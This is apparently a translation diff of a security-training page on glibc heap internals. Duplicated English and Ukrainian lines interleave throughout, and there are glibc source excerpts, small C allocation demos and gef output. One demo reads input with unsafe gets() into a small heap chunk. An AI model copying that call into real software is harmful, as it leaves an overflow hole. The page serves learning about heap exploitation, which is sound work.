(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- Встановіть заголовок і нижній колонтитул (коли використовуються номери частин)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- Отримати розмір реальних використовуваних даних всередині блоку
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Приклади
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### Швидкий приклад купи
Швидкий приклад купи з [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html), але в arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Встановіть точку зупинки в кінці основної функції і давайте дізнаємося, де зберігалася інформація:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
Можна побачити, що рядок panda був збережений за адресою `0xaaaaaaac12a0` (яка була адресою, наданою malloc всередині `x0`). Перевіряючи 0x10 байт перед цим, можна побачити, що `0x0` представляє, що **попередній шматок не використовується** (довжина 0) і що довжина цього шматка становить `0x21`.
Додаткові зарезервовані простори (0x21-0x10=0x11) походять від **доданих заголовків** (0x10), а 0x1 не означає, що було зарезервовано 0x21B, але останні 3 біти довжини поточного заголовка мають деякі спеціальні значення. Оскільки довжина завжди вирівняна на 16 байт (на 64-бітних машинах), ці біти насправді ніколи не будуть використані числом довжини.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### Приклад багатопоточності
<details>
<summary>Multithread</summary>
<summary>Багатопоточність</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
Відлагоджуючи попередній приклад, можна побачити, що на початку є лише 1 арена:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
і всередині неї можна знайти кілька шматків:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Контейнери та виділення/звільнення пам'яті
Check what are the bins and how are they organized and how memory is allocated and freed in:
Перевірте, що таке контейнери, як вони організовані та як пам'ять виділяється і звільняється в:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## Перевірки безпеки функцій купи
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
Функції, пов'язані з купою, виконуватимуть певні перевірки перед виконанням своїх дій, щоб спробувати переконатися, що купа не була пошкоджена:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Посилання
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
Щоб покращити ефективність зберігання частин, кожна частина не просто знаходиться в одному зв'язаному списку, а існує кілька типів. Це бінси, і є 5 типів бінсів: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) маленьких бінсів, 63 великих бінсів, 1 незасортований бін, 10 швидких бінсів і 64 tcache бінси на потік.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
Початкова адреса для кожного незасортованого, маленького та великого бінса знаходиться в одному масиві. Індекс 0 не використовується, 1 - це незасортований бін, бінси 2-64 - це маленькі бінси, а бінси 65-127 - це великі бінси.
### Tcache (Per-Thread Cache) Bins
### Tcache (Кеш на потік) Бінси
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
Хоча потоки намагаються мати свій власний купу (див. [Arenas](bins-and-memory-allocations.md#arenas) та [Subheaps](bins-and-memory-allocations.md#subheaps)), існує можливість, що процес з великою кількістю потоків (як веб-сервер) **в кінцевому підсумку поділиться купою з іншими потоками**. У цьому випадку основним рішенням є використання **замків**, які можуть **значно сповільнити потоки**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Отже, tcache подібний до швидкого бінса на потік тим, що це **одинарний зв'язаний список**, який не об'єднує частини. Кожен потік має **64 односпрямованих tcache бінси**. Кожен бін може мати максимум [7 частин однакового розміру](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323), що варіюються від [24 до 1032B на 64-бітних системах і від 12 до 516B на 32-бітних системах](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**Коли потік звільняє** частину, **якщо вона не занадто велика** для розподілу в tcache і відповідний tcache бін **не заповнений** (вже 7 частин), **вона буде розподілена там**. Якщо вона не може потрапити в tcache, їй потрібно буде чекати на блокування купи, щоб мати можливість виконати операцію звільнення глобально.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
Коли **частина розподіляється**, якщо є вільна частина потрібного розміру в **Tcache, вона буде використана**, якщо ні, їй потрібно буде чекати на блокування купи, щоб мати можливість знайти одну в глобальних бінсах або створити нову.\
Існує також оптимізація, в цьому випадку, під час блокування купи, потік **заповнить свій Tcache частинами купи (7) запитуваного розміру**, так що в разі потреби більше, він знайде їх у Tcache.
<details>
<summary>Add a tcache chunk example</summary>
<summary>Додати приклад частини tcache</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
Скомпілюйте його та налагодьте з точкою зупинки в операції ret з функції main. Потім з gef ви можете побачити використання tcache bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
#### Структури та функції Tcache
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
У наведеному коді можна побачити **max bins** та **chunks per index**, структуру **`tcache_entry`**, створену для уникнення подвійних звільнень, та **`tcache_perthread_struct`**, структуру, яку кожен потік використовує для зберігання адрес до кожного індексу бін.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code> та <code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
Функція `__tcache_init` - це функція, яка створює та виділяє простір для об'єкта `tcache_perthread_struct`
<details>
<summary>tcache_init code</summary>
<summary>код tcache_init</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
#### Індекси Tcache
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
Tcache має кілька бінів в залежності від розміру, а початкові вказівники на **перший шматок кожного індексу та кількість шматків на індекс розташовані всередині шматка**. Це означає, що, знаходячи шматок з цією інформацією (зазвичай перший), можна знайти всі початкові точки tcache та кількість шматків Tcache.
### Fast bins
### Швидкі біни
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
Швидкі біни призначені для **прискорення виділення пам'яті для малих шматків**, зберігаючи нещодавно звільнені шматки в структурі швидкого доступу. Ці біни використовують підхід "Останній прийшов, перший пішов" (LIFO), що означає, що **найбільш нещодавно звільнений шматок є першим**, який буде повторно використаний, коли надійде новий запит на виділення. Ця поведінка вигідна для швидкості, оскільки вставка та видалення з верхньої частини стеку (LIFO) швидше, ніж з черги (FIFO).
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
Крім того, **швидкі біни використовують односпрямовані зв'язані списки**, а не двосторонні, що ще більше покращує швидкість. Оскільки шматки в швидких бінах не об'єднуються з сусідами, немає потреби в складній структурі, яка дозволяє видалення з середини. Односпрямований зв'язаний список є простішим і швидшим для цих операцій.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
В основному, що відбувається тут, це те, що заголовок (вказівник на перший шматок для перевірки) завжди вказує на останній звільнений шматок цього розміру. Отже:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- Коли новий шматок виділяється цього розміру, заголовок вказує на вільний шматок для використання. Оскільки цей вільний шматок вказує на наступний, ця адреса зберігається в заголовку, щоб наступне виділення знало, де отримати доступний шматок
- Коли шматок звільняється, вільний шматок зберігає адресу до поточного доступного шматка, а адреса цього новозвільненого шматка буде поміщена в заголовок
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
Максимальний розмір зв'язаного списку становить `0x80`, і вони організовані так, що шматок розміру `0x20` буде в індексі `0`, шматок розміру `0x30` буде в індексі `1`...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
> Шматки в швидких бінах не позначаються як доступні, тому вони зберігаються як швидкі біни протягом деякого часу, замість того, щоб мати можливість об'єднуватися з іншими вільними шматками, що їх оточують.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>Додати приклад швидкого блоку</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Зверніть увагу, як ми виділяємо та звільняємо 8 шматків одного розміру, щоб вони заповнили tcache, а восьмий зберігається в швидкому шматку.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
Скомпілюйте це та налагодьте з точкою зупинки в опкоді `ret` з функції `main`. Потім з `gef` ви можете побачити, що контейнер tcache заповнений, а один шматок знаходиться в швидкому контейнері:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### Невпорядкований бін
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
Невпорядкований бін - це **кеш**, який використовується менеджером купи для прискорення виділення пам'яті. Ось як це працює: коли програма звільняє шматок, і якщо цей шматок не може бути виділений у tcache або швидкий бін і не стикається з верхнім шматком, менеджер купи не відразу поміщає його в конкретний малий або великий бін. Замість цього він спочатку намагається **об'єднати його з будь-якими сусідніми вільними шматками**, щоб створити більший блок вільної пам'яті. Потім він поміщає цей новий шматок у загальний бін, званий "невпорядкованим біном".
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Коли програма **запитує пам'ять**, менеджер купи **перевіряє невпорядкований бін**, щоб дізнатися, чи є шматок достатнього розміру. Якщо він знаходить один, він використовує його відразу. Якщо він не знаходить підходящий шматок у невпорядкованому біні, він переміщує всі шматки в цьому списку до їх відповідних бінів, або малих, або великих, залежно від їх розміру.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
Зверніть увагу, що якщо більший шматок розділений на 2 половини, а решта більша за MINSIZE, він буде повернутий назад у невпорядкований бін.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
Отже, невпорядкований бін - це спосіб прискорити виділення пам'яті, швидко повторно використовуючи нещодавно звільнену пам'ять і зменшуючи потребу в трудомістких пошуках і об'єднаннях.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> Зверніть увагу, що навіть якщо шматки належать до різних категорій, якщо доступний шматок стикається з іншим доступним шматком (навіть якщо вони спочатку належать до різних бінів), вони будуть об'єднані.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>Додати приклад невпорядкованого шматка</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Зверніть увагу, як ми виділяємо та звільняємо 9 шматків одного розміру, щоб вони **заповнили tcache**, а восьмий зберігається в несортованому біні, оскільки він **занадто великий для fastbin**, і дев'ятий не звільнений, тому дев'ятий і восьмий **не зливаються з верхнім шматком**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
Скомпілюйте це та налагодьте з точкою зупинки в опкоді `ret` з функції `main`. Потім з `gef` ви можете побачити, що бін tcache заповнений, а один шматок знаходиться в несортованому біні:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
### Маленькі контейнери
Small bins are faster than large bins but slower than fast bins.
Маленькі контейнери швидші за великі контейнери, але повільніші за швидкі контейнери.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
Кожен контейнер з 62 матиме **частини одного розміру**: 16, 24, ... (з максимальною величиною 504 байти в 32 біти і 1024 в 64 біти). Це допомагає прискорити пошук контейнера, в якому має бути виділено місце, а також вставку та видалення записів у цих списках.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
Ось як розраховується розмір маленького контейнера відповідно до індексу контейнера:
- Найменший розмір: 2\*4\*індекс (наприклад, індекс 5 -> 40)
- Найбільший розмір: 2\*8\*індекс (наприклад, індекс 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
